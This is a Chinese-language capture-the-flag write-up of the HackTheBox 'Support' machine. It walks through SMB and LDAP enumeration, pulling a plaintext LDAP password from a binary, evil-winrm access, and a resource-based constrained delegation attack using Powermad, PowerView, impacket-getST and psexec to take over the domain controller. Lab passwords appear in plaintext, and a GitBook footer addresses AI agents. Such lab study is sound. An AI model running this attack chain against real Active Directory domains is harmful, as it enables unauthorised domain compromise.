> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md).

# Support HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/484>" %}

{% hint style="warning" %}
**技能：**

* SMB 枚举
* EXE二进制分析
* 使用 DNSpy 进行调试
* 设置断点并获取明文 LDAP 密码（DNSpy）
* Kerberos 用户枚举（kerbrute）
* LDAP 枚举（ldapsearch）
* 信息泄露
* 滥用远程管理用户组（Evil-WinRM）
* SharpHound + BloodHound 枚举
* 滥用共享支持账户（GenericAll）（RBCD 攻击）（基于资源的约束委派）
* 基于资源的约束委派攻击 - 创建计算机对象（powermad.ps1）
* 基于资源的约束委派攻击 - PowerView\.ps1
* 基于资源的约束委派攻击 - 获取被模拟的服务票据（getST.py）
* 使用该票据获得管理员访问权限（权限提升）
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252Fo2rnKrSfjXgEugmM3bpN%252Fimage.png%3Falt=media%26token=f926bbcb-20af-41c6-9325-7b565641549e&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=13a95f453743ff7d80a8a636b310fcf177817f872fc7fa53119ce971d2271c20" alt=""><figcaption></figcaption></figure>

#### **VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/6860633f1b01f7c3fdd02374f8c413288a9b2be3" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts
```

<figure><img src="/files/b0a6625df5fddfbedfa6211bee308c8b95c2caca" alt=""><figcaption></figcaption></figure>

**使用 Nmap 扫描端口版本：** 使用 Nmap 扫描端口版本，并将信息提取到“targeted”文件中：

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted
```

<figure><img src="/files/feb3d3fb565044ee33dd81c28ca7dc8c56e2a5b1" alt=""><figcaption></figcaption></figure>

## **DC 枚举：** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### SMB 列表：

使用 CrackMapExec 进行 SMB 枚举。

```bash
crackmapexec smb 10.10.11.174
```

<figure><img src="/files/366ad95403f3b9d88e135baec86a8363c265c1b3" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件

<figure><img src="/files/b5ba1f0175a8dd5c595e60125a665d4e67fd2ad9" alt=""><figcaption></figcaption></figure>

### **Kerberos 列表：**

使用 Kerbrute 枚举用户。

```bash
kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt
```

<figure><img src="/files/8cb3792fa086c05e9cb78a8633c628b42becba4b" alt=""><figcaption></figcaption></figure>

### **网络共享探查：**

在网络中搜索共享文件夹。

```bash
smbmap -H 10.10.11.174 -u none
```

<figure><img src="/files/f21dfdf1fc3c8250755300a0e49e75ec9e5dcd27" alt=""><figcaption></figcaption></figure>

```bash
smbclient //10.10.11.174/support-tools -N
```

<figure><img src="/files/efb9c33448128eaf1ac01f025ad8c318c6b61b8a" alt=""><figcaption></figcaption></figure>

我们发现了一个名为“UserInfo-exe-zip”的有趣 zip 文件。为了继续，我们使用 `get` 命令将其下载到我们的机器上。

<figure><img src="/files/99bed0cba4114b71f03f82222f67238d4f187bd1" alt=""><figcaption></figcaption></figure>

### /*/* Windows 二进制文件分析:/*/*

我们将在一台配备 Windows 的机器上运行一个 Windows 可执行文件。

为此，我们需要：

1. 传输 ZIP 压缩包

<figure><img src="/files/b7989e542837816c2a48d3d22b68cd4412358b9d" alt=""><figcaption></figcaption></figure>

2. VPN 配置迁移
3. `/etc/hosts` 配置

<figure><img src="/files/376d7b46aed8ff5e4118534fd513cee268828fd5" alt=""><figcaption></figcaption></figure>

要运行该二进制文件并识别所有有效用户，只需输入以下命令

```bash
./UserInfo.exe find -first * -last *
```

#### 这个二进制文件将允许我们列出用户。

<figure><img src="/files/8cfa9de8acc857c8699f9f207c2a7e4f00b69c7c" alt=""><figcaption></figcaption></figure>

#### 使用 DNspy 下载的 Windows 二进制文件分析。

{% embed url="<https://github.com/dnSpy/dnSpy>" %}

<figure><img src="/files/f01251061efe7cd2ef401416d8f5d10c8293be68" alt=""><figcaption></figcaption></figure>

### **提取明文密码：**

使用 DNspy 从 Windows 二进制文件中提取明文密码。

<figure><img src="/files/aafad0d01c3775d334266b8b34ba8d0819844ba4" alt=""><figcaption></figcaption></figure>

我们将运行该程序，但只会在文本为明文的部分暂停。

<figure><img src="/files/47a0b394cf39cd1e884324b4952f630b12840848" alt=""><figcaption></figcaption></figure>

这是 LDAP 密码：

<figure><img src="/files/a98a746431d135676d2974d15874f6fb5134690b" alt=""><figcaption></figcaption></figure>

### **LDAP 密码验证：**

使用 CrackMapExec 检查提取的密码。

```bash
crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
```

<figure><img src="/files/a85fb8ab3d50c52daf7ae11ed4f666fcdf42bd45" alt=""><figcaption></figcaption></figure>

### 域列表：

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174
```

#### 域用户

```
enumdomusers
```

<figure><img src="/files/43137ebcc94fd9ae7ee827e4dd482a972f6787db" alt=""><figcaption></figcaption></figure>

#### 域组

```bash
enumdomgroups
```

<figure><img src="/files/40324b03a59439dcf961c740352b5320debdce9d" alt=""><figcaption></figcaption></figure>

#### 用户描述：

```bash
querydispinfo
```

<figure><img src="/files/c5da511daabd8109b01be60cda38a278bad4b4a0" alt=""><figcaption></figcaption></figure>

#### 将所有有效的域用户写入文件。

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]'
```

<figure><img src="/files/82e90e059558fbeeb8f4f6d28d22cdb54deb67c2" alt=""><figcaption></figcaption></figure>

#### 现在我们将检查 LDAP 密码是否被以下用户之一重复使用：

```bash
crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success
```

然而，这不起作用。

<figure><img src="/files/1c8ca82b3ea7acfa925092ef7064400d5b9885eb" alt=""><figcaption></figcaption></figure>

### **LDPA 列表：**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap>" %}

#### 使用 LDAP 搜索枚举信息。

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```

#### 可用数据很多，不过通过对歌曲信息应用过滤器，发现了 support 用户的密码。

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20
```

<figure><img src="/files/a24b7b117f0169e57ab6a46dca861cb51bea004b" alt=""><figcaption></figcaption></figure>

## **利用：**

#### 使用 CrackMapExec 确认与 support 账户关联的密码。

```bash
crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

该用户属于远程管理用户组，使我们能够通过 Windows 远程管理（WinRM）进行连接。

```bash
evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

### **Evil-WinRM 的使用：**

使用已识别的信息通过 Evil-WinRM 连接到目标系统。

<figure><img src="/files/74389de9dea9308484e7d0e2c4b6c5d82bd045b6" alt=""><figcaption></figcaption></figure>

## 权限提升

### **当前权限检查：**<br>

使用 `whoami /priv` 用于检查用户权限的命令，但没有成功。<br>

<figure><img src="/files/2c6ab5462f754bbff44347c9a153303b8d7dfd9b" alt=""><figcaption></figcaption></figure>

### **成员组分析：**

使用 `net user support` 用于查看该用户所属组的命令。

发现了一个看似罕见的组，“shared support accounts”。

<figure><img src="/files/c4b571acd4abe175709ccb501a78eca1c5a968ac" alt=""><figcaption></figcaption></figure>

### **使用 BloodHound 进行权限分析：**

#### 使用 BloodHound 工具绘制访问关系图。

{% embed url="<https://github.com/BloodHoundAD/SharpHound>" %}

<figure><img src="/files/f5079cb875eb152df3a6fd61f4358bfd222de12c" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/8e0935a38cc57268e8b2848e5b84cdd872e41ef5" alt=""><figcaption></figcaption></figure></div>

### **SharpHound 执行以进行进一步分析：**

使用 SharpHound，这个与 BloodHound 配套的工具，收集更多访问关系数据。

```powershell
./SharpHound.exe -c All
```

<div data-full-width="true"><figure><img src="/files/58831cb7c3c91f5f819f66a935cc314e26af47ee" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/9703570a448ec8ceb67216789d950ca877f819a7" alt=""><figcaption></figcaption></figure>

## 基于资源的约束委派攻击漏洞：

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation>" %}

### **基于资源的约束委派攻击漏洞识别：**

<div data-full-width="true"><figure><img src="/files/f0d1bdbfde56d0532d934c89a8637ed07407dca2" alt=""><figcaption></figcaption></figure></div>

#### 部署 Powermad 脚本来创建机器账户。

{% embed url="<https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1>" %}

```powershell
upload Powemad.ps1
Import-Module ./Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

#### 使用 PowerView 检查机器账户创建情况。

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>" %}

```powershell
upload PowerView.ps1
Import-Module ./PowerView.ps1
```

<div data-full-width="true"><figure><img src="/files/99bcfb16a10b4aae82d9a97551b53bee79a8e822" alt=""><figcaption></figcaption></figure></div>

#### 使用 PowerShell 命令为机器账户定义授权。

```powershell
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
```

#### 使用此命令，我们检查整个 'Get-DomainComputer dc' 流程是否通过 'msds-allowedtoactonbehalfofather identity' 属性正常工作。'

<div data-full-width="true"><figure><img src="/files/3950058797ba505ca4057fada1ba88c75b07af86" alt=""><figcaption></figcaption></figure></div>

### **漏洞利用**

#### 使用 Impacket 工具执行 `getST` 命令，以获取一个冒充 Administrator 用户的 TGT 票据。

```bash
impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456
```

<figure><img src="/files/462360b2211aea6aac75d71ca124202b87a937fa" alt=""><figcaption></figcaption></figure>

#### 通过导出 `KRB5CCNAME`来配置 Administrator 的 Kerberos 环境，然后使用 Impacket 连接到目标系统 `psexec`.<br>

```bash
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k dc.support.htb
```

<figure><img src="/files/506a70317d2371c6301f5519eff3d600c6e036c8" alt=""><figcaption></figcaption></figure>

### 最终 Flag :)

<figure><img src="/files/fb40064da8412f62a35660d85adc089cd6d8eaf8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f6ced683bd594f4ba98560a6ef2126c943c02f8c" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
